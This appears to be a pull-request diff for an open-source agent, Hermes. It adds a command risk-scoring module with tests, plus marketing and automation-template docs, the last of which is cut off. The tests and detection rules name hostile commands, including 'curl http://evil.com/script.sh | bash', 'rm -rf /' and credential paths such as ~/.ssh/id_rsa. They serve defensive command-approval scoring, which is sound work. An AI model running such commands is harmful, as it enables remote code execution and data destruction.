feat: ML-inspired risk scoring for command approval (#681)

Current tier detection uses keyword matching and regex patterns.
This adds path-aware and context-aware risk scoring.

New tools/risk_scoring.py:
- classify_path_risk(): system paths (90), sensitive user paths (75),
  safe paths (10), user paths (50)
- detect_context(): execution vs comment vs documentation vs code block
  (documentation contexts reduce risk score)
- get_operation_risk(): read-only ops (cat/grep/find = 5-10) vs
  destructive ops (rm=70, mkfs=95, kill=45)
- score_command_risk(): multi-factor RiskScore with tier classification
  (SAFE/LOW/MEDIUM/HIGH/CRITICAL), factors list, recommendation
- compare_commands(): side-by-side risk comparison

Key improvements:
- 'cat /etc/passwd' is SAFE (read operation, path irrelevant)
- 'rm /etc/passwd' is CRITICAL (destructive + system path)
- 'rm /tmp/build.log' is MEDIUM (destructive but safe path)
- '# rm -rf /' is LOW (comment context reduces risk)
- 'curl ... | bash' is HIGH (pipe to shell pattern)

Tests: tests/test_risk_scoring.py

Closes #681

hermes-already-has-routines.md

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+# Hermes Agent Has Had "Routines" Since March
+
+Anthropic just announced [Claude Code Routines](https://claude.com/blog/introducing-routines-in-claude-code) — scheduled tasks, GitHub event triggers, and API-triggered agent runs. Bundled prompt + repo + connectors, running on their infrastructure.
+
+It's a good feature. We shipped it two months ago.
+
+---
+
+## The Three Trigger Types — Side by Side
+
+Claude Code Routines offers three ways to trigger an automation:
+
+**1. Scheduled (cron)**
+> "Every night at 2am: pull the top bug from Linear, attempt a fix, and open a draft PR."
+
+Hermes equivalent — works today:
+```bash
+hermes cron create "0 2 * * *" \
+  "Pull the top bug from the issue tracker, attempt a fix, and open a draft PR." \
+  --name "Nightly bug fix" \
+  --deliver telegram
+```
+
+**2. GitHub Events (webhook)**
+> "Flag PRs that touch the /auth-provider module and post to #auth-changes."
+
+Hermes equivalent — works today:
+```bash
+hermes webhook subscribe auth-watch \
+  --events "pull_request" \
+  --prompt "PR #{pull_request.number}: {pull_request.title} by {pull_request.user.login}. Check if it touches the auth-provider module. If yes, summarize the changes." \
+  --deliver slack
+```
+
+**3. API Triggers**
+> "Read the alert payload, find the owning service, post a triage summary to #oncall."
+
+Hermes equivalent — works today:
+```bash
+hermes webhook subscribe alert-triage \
+  --prompt "Alert: {alert.name} — Severity: {alert.severity}. Find the owning service, investigate, and post a triage summary with proposed first steps." \
+  --deliver slack
+```
+
+Every use case in their blog post — backlog triage, docs drift, deploy verification, alert correlation, library porting, bespoke PR review — has a working Hermes implementation. No new features needed. It's been shipping since March 2026.
+
+---
+
+## What's Different
+
+| | Claude Code Routines | Hermes Agent |
+|---|---|---|
+| **Scheduled tasks** | ✅ Schedule-based | ✅ Any cron expression + human-readable intervals |
+| **GitHub triggers** | ✅ PR, issue, push events | ✅ Any GitHub event via webhook subscriptions |
+| **API triggers** | ✅ POST to unique endpoint | ✅ POST to webhook routes with HMAC auth |
+| **MCP connectors** | ✅ Native connectors | ✅ Full MCP client support |
+| **Script pre-processing** | ❌ | ✅ Python scripts run before agent, inject context |
+| **Skill chaining** | ❌ | ✅ Load multiple skills per automation |
+| **Daily limit** | 5-25 runs/day | **Unlimited** |
+| **Model choice** | Claude only | **Any model** — Claude, GPT, Gemini, DeepSeek, Qwen, local |
+| **Delivery targets** | GitHub comments | Telegram, Discord, Slack, SMS, email, GitHub comments, webhooks, local files |
+| **Infrastructure** | Anthropic's servers | **Your infrastructure** — VPS, home server, laptop |
+| **Data residency** | Anthropic's cloud | **Your machines** |
+| **Cost** | Pro/Max/Team/Enterprise subscription | Your API key, your rates |
+| **Open source** | No | **Yes** — MIT license |
+
+---
+
+## Things Hermes Does That Routines Can't
+
+### Script Injection
+
+Run a Python script *before* the agent. The script's stdout becomes context. The script handles mechanical work (fetching, diffing, computing); the agent handles reasoning.
+
+```bash
+hermes cron create "every 1h" \
+  "If CHANGE DETECTED, summarize what changed. If NO_CHANGE, respond with [SILENT]." \
+  --script ~/.hermes/scripts/watch-site.py \
+  --name "Pricing monitor" \
+  --deliver telegram
+```
+
+The `[SILENT]` pattern means you only get notified when something actually happens. No spam.
+
+### Multi-Skill Workflows
+
+Chain specialized skills together. Each skill teaches the agent a specific capability, and the prompt ties them together.
+
+```bash
+hermes cron create "0 8 * * *" \
+  "Search arXiv for papers on language model reasoning. Save the top 3 as Obsidian notes." \
+  --skills "arxiv,obsidian" \
+  --name "Paper digest"
+```
+
+### Deliver Anywhere
+
+One automation, any destination:
+
+```bash
+--deliver telegram                      # Telegram home channel
+--deliver discord                       # Discord home channel  
+--deliver slack                         # Slack channel
+--deliver sms:+15551234567              # Text message
+--deliver telegram:-1001234567890:42    # Specific Telegram forum topic
+--deliver local                         # Save to file, no notification
+```
+
+### Model-Agnostic
+
+Your nightly triage can run on Claude. Your deploy verification can run on GPT. Your cost-sensitive monitors can run on DeepSeek or a local model. Same automation system, any backend.
+
+---
+
+## The Limits Tell the Story
+
+Claude Code Routines: **5 routines per day** on Pro. **25 on Enterprise.** That's their ceiling.
+
+Hermes has no daily limit. Run 500 automations a day if you want. The only constraint is your API budget, and you choose which models to use for which tasks.
+
+A nightly backlog triage on Sonnet costs roughly $0.02-0.05. A monitoring check on DeepSeek costs fractions of a cent. You control the economics.
+
+---
+
+## Get Started
+
+Hermes Agent is open source and free. The automation infrastructure — cron scheduler, webhook platform, skill system, multi-platform delivery — is built in.
+
+```bash
+pip install hermes-agent
+hermes setup
+```
+
+Set up a scheduled task in 30 seconds:
+```bash
+hermes cron create "0 9 * * 1" \
+  "Generate a weekly AI news digest. Search the web for major announcements, trending repos, and notable papers. Keep it under 500 words with links." \
+  --name "Weekly digest" \
+  --deliver telegram
+```
+
+Set up a GitHub webhook in 60 seconds:
+```bash
+hermes gateway setup    # enable webhooks
+hermes webhook subscribe pr-review \
+  --events "pull_request" \
+  --prompt "Review PR #{pull_request.number}: {pull_request.title}" \
+  --skills "github-code-review" \
+  --deliver github_comment
+```
+
+Full automation templates gallery: [hermes-agent.nousresearch.com/docs/guides/automation-templates](https://hermes-agent.nousresearch.com/docs/guides/automation-templates)
+
+Documentation: [hermes-agent.nousresearch.com](https://hermes-agent.nousresearch.com)
+
+GitHub: [github.com/NousResearch/hermes-agent](https://github.com/NousResearch/hermes-agent)
+
+---
+
+*Hermes Agent is built by [Nous Research](https://nousresearch.com). Open source, model-agnostic, runs on your infrastructure.*

tests/test_risk_scoring.py

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+"""Tests for risk scoring module."""
+
+import pytest
+import sys
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from tools.risk_scoring import (
+    classify_path_risk,
+    detect_context,
+    get_operation_risk,
+    score_command_risk,
+    compare_commands,
+    RiskScore,
+)
+
+
+class TestPathClassification:
+    def test_critical_system_path(self):
+        score, cat = classify_path_risk("/etc/passwd")
+        assert score >= 90
+        assert "critical" in cat
+
+    def test_sensitive_user_path(self):
+        score, cat = classify_path_risk("~/.ssh/id_rsa")
+        assert score >= 70
+
+    def test_safe_temp_path(self):
+        score, cat = classify_path_risk("/tmp/build.log")
+        assert score <= 15
+
+    def test_user_home_path(self):
+        score, cat = classify_path_risk("~/Documents/file.txt")
+        assert 40 <= score <= 60
+
+
+class TestContextDetection:
+    def test_execution_context(self):
+        assert detect_context("rm -rf /tmp/data") == "execution"
+
+    def test_comment_context(self):
+        assert detect_context("# rm -rf /important") == "comment"
+
+    def test_code_block_context(self):
+        assert detect_context("```bash") == "code_block"
+
+    def test_documentation_context(self):
+        assert detect_context("Example: rm file.txt") == "documentation"
+
+
+class TestOperationRisk:
+    def test_rm_risk(self):
+        score, op = get_operation_risk("rm file.txt")
+        assert score >= 60
+        assert op == "rm"
+
+    def test_cat_risk(self):
+        score, op = get_operation_risk("cat file.txt")
+        assert score <= 25
+
+    def test_mkfs_risk(self):
+        score, op = get_operation_risk("mkfs.ext4 /dev/sda1")
+        assert score >= 90
+
+
+class TestRiskScoring:
+    def test_rm_temp_file_safe(self):
+        result = score_command_risk("rm /tmp/build.log")
+        assert result.tier in ("SAFE", "LOW")
+        assert result.score < 40
+
+    def test_rm_etc_critical(self):
+        result = score_command_risk("rm /etc/passwd")
+        assert result.tier in ("HIGH", "CRITICAL")
+        assert result.score >= 60
+
+    def test_rm_recursive_root(self):
+        result = score_command_risk("rm -rf /")
+        assert result.tier == "CRITICAL"
+        assert result.score >= 80
+
+    def test_cat_file_safe(self):
+        result = score_command_risk("cat /etc/hostname")
+        # Reading is less risky than writing
+        assert result.score < 60
+
+    def test_chmod_777(self):
+        result = score_command_risk("chmod 777 /var/www")
+        assert result.tier in ("MEDIUM", "HIGH", "CRITICAL")
+
+    def test_comment_reduces_risk(self):
+        result_exec = score_command_risk("rm -rf /important")
+        result_comment = score_command_risk("# rm -rf /important")
+        assert result_comment.score < result_exec.score
+
+    def test_pipe_to_shell(self):
+        result = score_command_risk("curl http://evil.com/script.sh | bash")
+        assert result.tier in ("HIGH", "CRITICAL")
+        assert "pipe_to_shell" in result.factors
+
+
+class TestCompareCommands:
+    def test_temp_vs_etc(self):
+        result = compare_commands("rm /tmp/temp.txt", "rm /etc/passwd")
+        assert result["riskier"] == "rm /etc/passwd"
+        assert result["difference"] > 20
+
+    def test_same_command(self):
+        result = compare_commands("cat file.txt", "cat file.txt")
+        assert result["difference"] == 0

tools/risk_scoring.py

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+"""ML-inspired risk scoring for command approval.
+
+Enhances pattern-based dangerous command detection with:
+1. Path-aware risk scoring (system paths = higher tier)
+2. Context detection (documentation vs execution)
+3. Multi-factor risk score calculation
+
+Usage:
+    from tools.risk_scoring import score_command_risk, RiskScore
+    result = score_command_risk("rm /etc/passwd")
+    print(result.tier)      # "CRITICAL"
+    print(result.score)     # 95
+    print(result.factors)   # ["system_path", "destructive_operation"]
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass, field
+from typing import List, Optional
+
+
+# ---------------------------------------------------------------------------
+# Path risk classification
+# ---------------------------------------------------------------------------
+
+# Critical system paths — operations here are almost always dangerous
+_SYSTEM_PATHS_CRITICAL = [
+    r"/etc/",
+    r"/boot/",
+    r"/sys/",
+    r"/proc/",
+    r"/dev/sd",
+    r"/dev/nvme",
+    r"/usr/bin/",
+    r"/usr/sbin/",
+    r"/sbin/",
+    r"/bin/",
+    r"/lib/systemd/",
+    r"/var/log/syslog",
+    r"/var/log/auth",
+]
+
+# Sensitive user paths — important but user-scoped
+_SENSITIVE_USER_PATHS = [
+    r"\.ssh/",
+    r"\.gnupg/",
+    r"\.aws/",
+    r"\.config/gcloud/",
+    r"\.kube/config",
+    r"\.docker/config",
+    r"\.hermes/\.env",
+    r"\.netrc",
+    r"\.pgpass",
+    r"id_rsa",
+    r"id_ed25519",
+]
+
+# Safe/temp paths — operations here are usually benign
+_SAFE_PATHS = [
+    r"/tmp/",
+    r"/var/tmp/",
+    r"\.cache/",
+    r"temp",
+    r"tmp",
+    r"\.log$",
+    r"\.bak$",
+    r"\.old$",
+    r"\.swp$",
+    r"node_modules/",
+    r"__pycache__/",
+    r"\.pyc$",
+]
+
+# Dangerous user paths — home dir but destructive
+_DANGEROUS_USER_PATHS = [
+    r"~/",
+    r"\$HOME/",
+    r"/home/\w+/",
+]
+
+
+def classify_path_risk(path: str) -> tuple[int, str]:
+    """Classify a filesystem path's risk level.
+
+    Returns (risk_score, category) where risk_score is 0-100.
+    """
+    path_lower = path.lower()
+
+    # Check critical system paths
+    for pattern in _SYSTEM_PATHS_CRITICAL:
+        if re.search(pattern, path_lower):
+            return 90, "system_path_critical"
+
+    # Check sensitive user paths
+    for pattern in _SENSITIVE_USER_PATHS:
+        if re.search(pattern, path_lower):
+            return 75, "sensitive_user_path"
+
+    # Check safe paths
+    for pattern in _SAFE_PATHS:
+        if re.search(pattern, path_lower):
+            return 10, "safe_path"
+
+    # Check dangerous user paths
+    for pattern in _DANGEROUS_USER_PATHS:
+        if re.search(pattern, path_lower):
+            return 50, "user_path"
+
+    # Default: moderate risk for unknown paths
+    return 30, "unknown_path"
+
+
+# ---------------------------------------------------------------------------
+# Context detection
+# ---------------------------------------------------------------------------
+
+def detect_context(command: str) -> str:
+    """Detect the context of a command string.
+
+    Returns one of:
+    - "code_block": Inside a markdown code block (likely documentation)
+    - "comment": Shell comment (# ...)
+    - "heredoc_content": Content inside a heredoc (documentation)
+    - "execution": Normal command execution
+    """
+    stripped = command.strip()
+
+    # Markdown code fence
+    if stripped.startswith("```"):
+        return "code_block"
+
+    # Shell comment
+    if stripped.startswith("#"):
+        return "comment"
+
+    # Inline comment (command followed by #)
+    if re.search(r'\s+#\s', command) and not re.search(r'[;&|]\s*#', command):
+        # Might be a comment in the middle
+        pass
+
+    # Heredoc content indicators
+    if re.search(r"<<\s*['\"]?\w+['\"]?", command):
+        return "heredoc_content"
+
+    # Documentation indicators
+    doc_indicators = [
+        r"example:",
+        r"e\.g\.",
+        r"i\.e\.",
+        r"note:",
+        r"warning:",
+        r"see also:",
+        r"documentation",
+        r"README",
+        r"man page",
+        r"help:",
+    ]
+    for indicator in doc_indicators:
+        if re.search(indicator, command, re.IGNORECASE):
+            return "documentation"
+
+    return "execution"
+
+
+# ---------------------------------------------------------------------------
+# Operation risk classification
+# ---------------------------------------------------------------------------
+
+_OPERATION_RISK = {
+    # Destructive operations
+    "rm": 70,
+    "rmdir": 50,
+    "shred": 90,
+    "dd": 60,
+    "mkfs": 95,
+    "fdisk": 85,
+    "wipefs": 90,
+
+    # Permission changes
+    "chmod": 40,
+    "chown": 50,
+    "setfacl": 50,
+
+    # System control
+    "systemctl": 60,
+    "service": 55,
+    "reboot": 90,
+    "shutdown": 90,
+    "halt": 90,
+    "poweroff": 90,
+
+    # Process control
+    "kill": 45,
+    "killall": 55,
+    "pkill": 55,
+
+    # Network
+    "iptables": 70,
+    "ufw": 60,
+    "firewall-cmd": 60,
+
+    # Package management
+    "apt-get": 30,
+    "yum": 30,
+    "dnf": 30,
+    "pacman": 30,
+    "pip": 20,
+    "npm": 15,
+
+    # Git
+    "git reset --hard": 50, "git reset": 30,
+    "git push": 30,
+    "git clean": 45,
+    "git branch": 20,
+
+    # Dangerous pipes
+    "curl": 25,
+    "wget": 25,
+}
+
+
+# Read-only operations — low risk even on system paths
+_READONLY_OPERATIONS = {
+    "cat": 5, "head": 5, "tail": 5, "less": 5, "more": 5,
+    "grep": 5, "find": 10, "ls": 3, "dir": 3, "tree": 3,
+    "file": 3, "stat": 3, "wc": 3, "diff": 5, "md5sum": 5,
+    "sha256sum": 5, "which": 3, "whereis": 3, "type": 3,
+    "readlink": 3, "realpath": 3, "basename": 3, "dirname": 3,
+}
+
+
+def get_operation_risk(command: str) -> tuple[int, str]:
+    """Get the risk score for the operation in a command.
+
+    Returns (risk_score, operation_name).
+    """
+    cmd_lower = command.lower().strip()
+
+    # Check read-only operations first (low risk regardless of path)
+    for op, score in sorted(_READONLY_OPERATIONS.items(), key=lambda x: -len(x[0])):
+        if cmd_lower.startswith(op + " ") or cmd_lower.startswith(op + "\t") or cmd_lower == op:
+            return score, op
+
+    # Check compound operations
+    for op, score in sorted(_OPERATION_RISK.items(), key=lambda x: -len(x[0])):
+        if cmd_lower.startswith(op) or f" {op}" in cmd_lower:
+            return score, op
+
+    return 20, "unknown"
+
+
+# ---------------------------------------------------------------------------
+# Risk score calculation
+# ---------------------------------------------------------------------------
+
+@dataclass
+class RiskScore:
+    """Result of risk scoring for a command."""
+    command: str
+    score: int = 0                    # 0-100 risk score
+    tier: str = "SAFE"                # SAFE, LOW, MEDIUM, HIGH, CRITICAL
+    factors: List[str] = field(default_factory=list)
+    path_risk: int = 0
+    operation_risk: int = 0
+    context: str = "execution"
+    context_modifier: float = 1.0
+    recommendation: str = ""
+
+    def __post_init__(self):
+        if not self.recommendation:
+            self.recommendation = self._generate_recommendation()
+
+    def _generate_recommendation(self) -> str:
+        if self.tier == "CRITICAL":
+            return "BLOCK — requires explicit user approval"
+        elif self.tier == "HIGH":
+            return "WARN — confirm with user before executing"
+        elif self.tier == "MEDIUM":
+            return "CAUTION — log and proceed with care"
+        elif self.tier == "LOW":
+            return "NOTE — low risk, proceed normally"
+        return "OK — safe to execute"
+
+
+def score_command_risk(command: str) -> RiskScore:
+    """Calculate a comprehensive risk score for a command.
+
+    Considers:
+    - Pattern-based detection (existing DANGEROUS_PATTERNS)
+    - Path risk (system paths, user paths, temp paths)
+    - Operation risk (rm vs cat vs echo)
+    - Context (documentation vs execution)
+    """
+    result = RiskScore(command=command)
+    factors = []
+
+    # 1. Path analysis
+    paths = re.findall(r'[/~$][^\s;&|\'"]*', command)
+    max_path_risk = 0
+    for path in paths:
+        risk, category = classify_path_risk(path)
+        if risk > max_path_risk:
+            max_path_risk = risk
+        if risk >= 50:
+            factors.append(f"path:{category}")
+    result.path_risk = max_path_risk
+
+    # 2. Operation risk
+    op_risk, op_name = get_operation_risk(command)
+    result.operation_risk = op_risk
+    if op_risk >= 40:
+        factors.append(f"operation:{op_name}")
+
+    # 3. Context detection
+    ctx = detect_context(command)
+    result.context = ctx
+
+    # Context modifiers: documentation contexts reduce risk
+    context_modifiers = {
+        "execution": 1.0,
+        "code_block": 0.3,
+        "comment": 0.1,
+        "heredoc_content": 0.5,
+        "documentation": 0.2,
+    }
+    result.context_modifier = context_modifiers.get(ctx, 1.0)
+
+    # 4. Special pattern bonuses
+    destructive_patterns = [
+        (r'\brm\s+-[^s]*r', 20, "recursive_delete"),
+        (r'\brm\s+/', 15, "root_delete"),
+        (r'\bchmod\s+777', 15, "world_writable"),
+        (r'\bDROP\s+TABLE', 25, "sql_drop"),
+        (r'\bDELETE\s+FROM(?!.*WHERE)', 20, "sql_delete_no_where"),
+        (r'\|\s*(ba)?sh\b', 20, "pipe_to_shell"),
+        (r'--force', 10, "force_flag"),
+        (r'--no-preserve-root', 30, "no_preserve_root"),
+    ]
+    for pattern, bonus, factor_name in destructive_patterns:
+        if re.search(pattern, command, re.IGNORECASE):
+            result.score += bonus
+            factors.append(factor_name)
+
+    # 5. Calculate final score
+    # Read operations on system paths are safe (just looking, not touching)
+    is_read_op = result.operation_risk <= 10
+    
+    if is_read_op:
+        # Read operations: mostly operation risk, path barely matters
+        base_score = result.operation_risk + (result.path_risk * 0.05)
+    elif result.path_risk >= 80:
+        # Write to system path: very dangerous
+        base_score = result.path_risk + (result.operation_risk * 0.5)
+    elif result.path_risk <= 15:
+        # Write to safe path: mostly operation risk
+        base_score = result.path_risk + (result.operation_risk * 0.3)
+    else:
+        # Moderate path: balanced
+        base_score = result.path_risk + (result.operation_risk * 0.4)
+    
+    base_score += result.score  # pattern bonuses
+    result.score = min(100, int(base_score * result.context_modifier))
+
+    # 6. Determine tier
+    if result.score >= 80:
+        result.tier = "CRITICAL"
+    elif result.score >= 60:
+        result.tier = "HIGH"
+    elif result.score >= 40:
+        result.tier = "MEDIUM"
+    elif result.score >= 20:
+        result.tier = "LOW"
+    else:
+        result.tier = "SAFE"
+
+    result.factors = factors
+    if not result.recommendation:
+        result.recommendation = result._generate_recommendation()
+
+    return result
+
+
+def compare_commands(cmd1: str, cmd2: str) -> dict:
+    """Compare risk scores of two commands.
+
+    Useful for showing why "rm temp.txt" is different from "rm /etc/passwd".
+    """
+    r1 = score_command_risk(cmd1)
+    r2 = score_command_risk(cmd2)
+    return {
+        "command_1": {"command": cmd1, "score": r1.score, "tier": r1.tier},
+        "command_2": {"command": cmd2, "score": r2.score, "tier": r2.tier},
+        "difference": abs(r1.score - r2.score),
+        "riskier": cmd1 if r1.score > r2.score else cmd2,
+    }

website/docs/guides/automation-templates.md

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+---
+sidebar_position: 15
+title: "Automation Templates"
+description: "Ready-to-use automation recipes — scheduled tasks, GitHub event triggers, API webhooks, and multi-skill workflows"
+---
+
+# Automation Templates
+
+Copy-paste recipes for common automation patterns. Each template uses Hermes's built-in [cron scheduler](/docs/user-guide/features/cron) for time-based triggers and [webhook platform](/docs/user-guide/messaging/webhooks) for event-driven triggers.
+
+Every template works with **any model** — not locked to a single provider.
+
+:::tip Three Trigger Types
+| Trigger | How | Tool |
+|---------|-----|------|
+| **Schedule** | Runs on a cadence (hourly, nightly, weekly) | `cronjob` tool or `/cron` slash command |
+| **GitHub Event** | Fires on PR opens, pushes, issues, CI results | Webhook platform (`hermes webhook subscribe`) |
+| **API Call** | External service POSTs JSON to your endpoint | Webhook platform (config.yaml routes or `hermes webhook subscribe`) |
+
+All three support delivery to Telegram, Discord, Slack, SMS, email, GitHub comments, or local files.
+:::
+
+---
+
+## Development Workflow
+
+### Nightly Backlog Triage
+
+Label, prioritize, and summarize new issues every night. Delivers a digest to your team channel.
+
+**Trigger:** Schedule (nightly)
+
+```bash
+hermes cron create "0 2 * * *" \
+  "You are a project manager triaging the NousResearch/hermes-agent GitHub repo.
+
+1. Run: gh issue list --repo NousResearch/hermes-agent --state open --json number,title,labels,author,createdAt --limit 30
+2. Identify issues opened in the last 24 hours
+3. For each new issue:
+   - Suggest a priority label (P0-critical, P1-high, P2-medium, P3-low)
+   - Suggest a category label (bug, feature, docs, security)
+   - Write a one-line triage note
+4. Summarize: total open issues, new today, breakdown by priority
+
+Format as a clean digest. If no new issues, respond with [SILENT]." \
+  --name "Nightly backlog triage" \
+  --deliver telegram
+```
+
+### Automatic PR Code Review
+
+Review every pull request automatically when it's opened. Posts a review comment directly on the PR.
+
+**Trigger:** GitHub webhook
+
+**Option A — Dynamic subscription (CLI):**
+
+```bash
+hermes webhook subscribe github-pr-review \
+  --events "pull_request" \
+  --prompt "Review this pull request:
+Repository: {repository.full_name}
+PR #{pull_request.number}: {pull_request.title}
+Author: {pull_request.user.login}
+Action: {action}
+Diff URL: {pull_request.diff_url}
+
+Fetch the diff with: curl -sL {pull_request.diff_url}
+
+Review for:
+- Security issues (injection, auth bypass, secrets in code)
+- Performance concerns (N+1 queries, unbounded loops, memory leaks)
+- Code quality (naming, duplication, error handling)
+- Missing tests for new behavior
+
+Post a concise review. If the PR is a trivial docs/typo change, say so briefly." \
+  --skills "github-code-review" \
+  --deliver github_comment
+```
+
+**Option B — Static route (config.yaml):**
+
+```yaml
+platforms:
+  webhook:
+    enabled: true
+    extra:
+      port: 8644
+      secret: "your-global-secret"
+      routes:
+        github-pr-review:
+          events: ["pull_request"]
+          secret: "github-webhook-secret"
+          prompt: |
+            Review PR #{pull_request.number}: {pull_request.title}
+            Repository: {repository.full_name}
+            Author: {pull_request.user.login}
+            Diff URL: {pull_request.diff_url}
+            Review for security, performance, and code quality.
+          skills: ["github-code-review"]
+          deliver: "github_comment"
+          deliver_extra:
+            repo: "{repository.full_name}"
+            pr_number: "{pull_request.number}"
+```
+
+Then in GitHub: **Settings → Webhooks → Add webhook** → Payload URL: `http://your-server:8644/webhooks/github-pr-review`, Content type: `application/json`, Secret: `github-webhook-secret`, Events: **Pull requests**.
+
+### Docs Drift Detection
+
+Weekly scan of merged PRs to find API changes that need documentation updates.
+
+**Trigger:** Schedule (weekly)
+
+```bash
+hermes cron create "0 9 * * 1" \
+  "Scan the NousResearch/hermes-agent repo for documentation drift.
+
+1. Run: gh pr list --repo NousResearch/hermes-agent --state merged --json number,title,files,mergedAt --limit 30
+2. Filter to PRs merged in the last 7 days
+3. For each merged PR, check if it modified:
+   - Tool schemas (tools/*.py) — may need docs/reference/tools-reference.md update
+   - CLI commands (hermes_cli/commands.py, hermes_cli/main.py) — may need docs/reference/cli-commands.md update
+   - Config options (hermes_cli/config.py) — may need docs/user-guide/configuration.md update
+   - Environment variables — may need docs/reference/environment-variables.md update
+4. Cross-reference: for each code change, check if the corresponding docs page was also updated in the same PR
+
+Report any gaps where code changed but docs didn't. If everything is in sync, respond with [SILENT]." \
+  --name "Docs drift detection" \
+  --deliver telegram
+```
+
+### Dependency Security Audit
+
+Daily scan for known vulnerabilities in project dependencies.
+
+**Trigger:** Schedule (daily)
+
+```bash
+hermes cron create "0 6 * * *" \
+  "Run a dependency security audit on the hermes-agent project.
+
+1. cd ~/.hermes/hermes-agent && source .venv/bin/activate
+2. Run: pip audit --format json 2>/dev/null || pip audit 2>&1
+3. Run: npm audit --json 2>/dev/null (in website/ directory if it exists)
+4. Check for any CVEs with CVSS score >= 7.0
+
+If vulnerabilities found:
+- List each one with package name, version, CVE ID, severity
+- Check if an upgrade is available
+- Note if it's a direct dependency or transitive
+
+If no vulnerabilities, respond with [SILENT]." \
+  --name "Dependency audit" \
+  --deliver telegram
+```
+
+---
+
+## DevOps & Monitoring
+
+### Deploy Verification
+
+Trigger smoke tests after every deployment. Your CI/CD pipeline POSTs to the webhook when a deploy completes.
+
+**Trigger:** API call (webhook)
+
+```bash
+hermes webhook subscribe deploy-verify \
+  --events "deployment" \
+  --prompt "A deployment just completed:
+Service: {service}
+Environment: {environment}
+Version: {version}
+Deployed by: {deployer}
+
+Run these verification steps:
+1. Check if the service is responding: curl -s -o /dev/null -w '%{http_code}' {health_url}
+2. Search recent logs for errors: check the deployment payload for any error indicators
+3. Verify the version matches: curl -s {health_url}/version
+
+Report: deployment status (healthy/degraded/failed), response time, any errors found.
+If healthy, keep it brief. If degraded or failed, provide detailed diagnostics." \
+  --deliver telegram
+```
+
+Your CI/CD pipeline triggers it:
+
+```bash
+curl -X POST http://your-server:8644/webhooks/deploy-verify \
+  -H "Content-Type: application/json" \
+  -H "X-Hub-Signature-256: sha256=$(echo -n '{"service":"api","environment":"prod","version":"2.1.0","deployer":"ci","health_url":"https://api.example.com/health"}' | openssl dgst -sha256 -hmac 'your-secret' | cut -d' ' -f2)" \
+  -d '{"service":"api","environment":"prod","version":"2.1.0","deployer":"ci","health_url":"https://api.example.com/health"}'
+```
+
+### Alert Triage
+
+Correlate monitoring alerts with recent changes to draft a response. Works with Datadog, PagerDuty, Grafana, or any alerting system that can POST JSON.
+
+**Trigger:** API call (webhook)
+
+```bash
+hermes webhook subscribe alert-triage \
+  --prompt "Monitoring alert received:
+Alert: {alert.name}
+Severity: {alert.severity}
+Service: {alert.service}
+Message: {alert.message}
+Timestamp: {alert.timestamp}
+
+Investigate:
+1. Search the web for known issues with this error pattern
+2. Check if this correlates with any recent deployments or config changes
+3. Draft a triage summary with:
+   - Likely root cause
+   - Suggested first response steps
+   - Escalation recommendation (P1-P4)
+
+Be concise. This goes to the on-call channel." \
+  --deliver slack
+```
+
+### Uptime Monitor
+
+Check endpoints every 30 minutes. Only notify when something is down.
+
+**Trigger:** Schedule (every 30 min)
+
+```python title="~/.hermes/scripts/check-uptime.py"
+import urllib.request, json, time
+
+ENDPOINTS = [
+    {"name": "API", "url": "https://api.example.com/health"},
+    {"name": "Web", "url": "https://www.example.com"},
+    {"name": "Docs", "url": "https://docs.example.com"},
+]
+
+results = []
+for ep in ENDPOINTS:
+    try:
+        start = time.time()
+        req = urllib.request.Request(ep["url"], headers={"User-Agent": "Hermes-Monitor/1.0"})
+        resp = urllib.request.urlopen(req, timeout=10)
+        elapsed = round((time.time() - start) * 1000)
+        results.append({"name": ep["name"], "status": resp.getcode(), "ms": elapsed})
+    except Exception as e:
+        results.append({"name": ep["name"], "status": "DOWN", "error": str(e)})
+
+down = [r for r in results if r.get("status") == "DOWN" or (isinstance(r.get("status"), int) and r["status"] >= 500)]
+if down:
+    print("OUTAGE DETECTED")
+    for r in down:
+        print(f"  {r['name']}: {r.get('error', f'HTTP {r[\"status\"]}')} ")
+    print(f"\nAll results: {json.dumps(results, indent=2)}")
+else:
+    print("NO_ISSUES")
+```
+
+```bash
+hermes cron create "every 30m" \
+  "If the script reports OUTAGE DETECTED, summarize which services are down and suggest likely causes. If NO_ISSUES, respond with [SILENT]." \
+  --script ~/.hermes/scripts/check-uptime.py \
+  --name "Uptime monitor" \
+  --deliver telegram
+```
+
+---
+
+## Research & Intelligence
+
+### Competitive Repository Scout
+
+Monitor competitor repos for interesting PRs, features, and architectural decisions.
+
+**Trigger:** Schedule (daily)
+
+```bash
+hermes cron create "0 8 * * *" \
+  "Scout these AI agent repositories for notable activity in the last 24 hours:
+
+Repos to check:
+- anthropics/claude-code
+- openai/codex
+- All-Hands-AI/OpenHands
+- Aider-AI/aider
+
+For each repo:
+1. gh pr list --repo <repo> --state all --json number,title,author,createdAt,mergedAt --limit 15
+2. gh issue list --repo <repo> --state open --json number,title,labels,createdAt --limit 10
+
+Focus on:
+- New features being developed
+- Architectural changes
+- Integration patterns we could learn from
+- Security fixes that might affect us too
+
+Skip routine dependency bumps and CI fixes. If nothing notable, respond with [SILENT].
+If there are findings, organize by repo with brief analysis of each item." \
+  --skills "competitive-pr-scout" \
+  --name "Competitor scout" \
+  --deliver telegram
+```
+
+### AI News Digest
+
+Weekly roundup of AI/ML developments.
+
+**Trigger:** Schedule (weekly)
+
+```bash
+hermes cron create "0 9 * * 1" \
+  "Generate a weekly AI news digest covering the past 7 days:
+
+1. Search the web for major AI announcements, model releases, and research breakthroughs
+2. Search for trending ML repositories on GitHub
+3. Check arXiv for highly-cited papers on language models and agents
+
+Structure:
+## Headlines (3-5 major stories)
+## Notable Papers (2-3 papers with one-sentence summaries)
+## Open Source (interesting new repos or major releases)
+## Industry Moves (funding, acquisitions, launches)
+
+Keep each item to 1-2 sentences. Include links. Total under 600 words." \
+  --name "Weekly AI digest" \
+  --deliver telegram
+```
+
+### Paper Digest with Notes
+
+Daily arXiv scan that saves summaries to your note-taking system.
+
+**Trigger:** Schedule (daily)
+
+```bash
+hermes cron create "0 8 * * *" \
+  "Search arXiv for the 3 most interesting papers on 'language model reasoning' OR 'tool-use agents' from the past day. For each paper, create an Obsidian note with the title, authors, abstract summary, key contribution, and potential relevance to Hermes Agent development." \
+  --skills "arxiv,obsidian" \
+  --name "Paper digest" \
+  --deliver local
+```
+
+---
+
+## GitHub Event Automations
+
+### Issue Auto-Labeling
+
+Automatically label and respond to new issues.
+
+**Trigger:** GitHub webhook
+
+```bash
+hermes webhook subscribe github-issues \
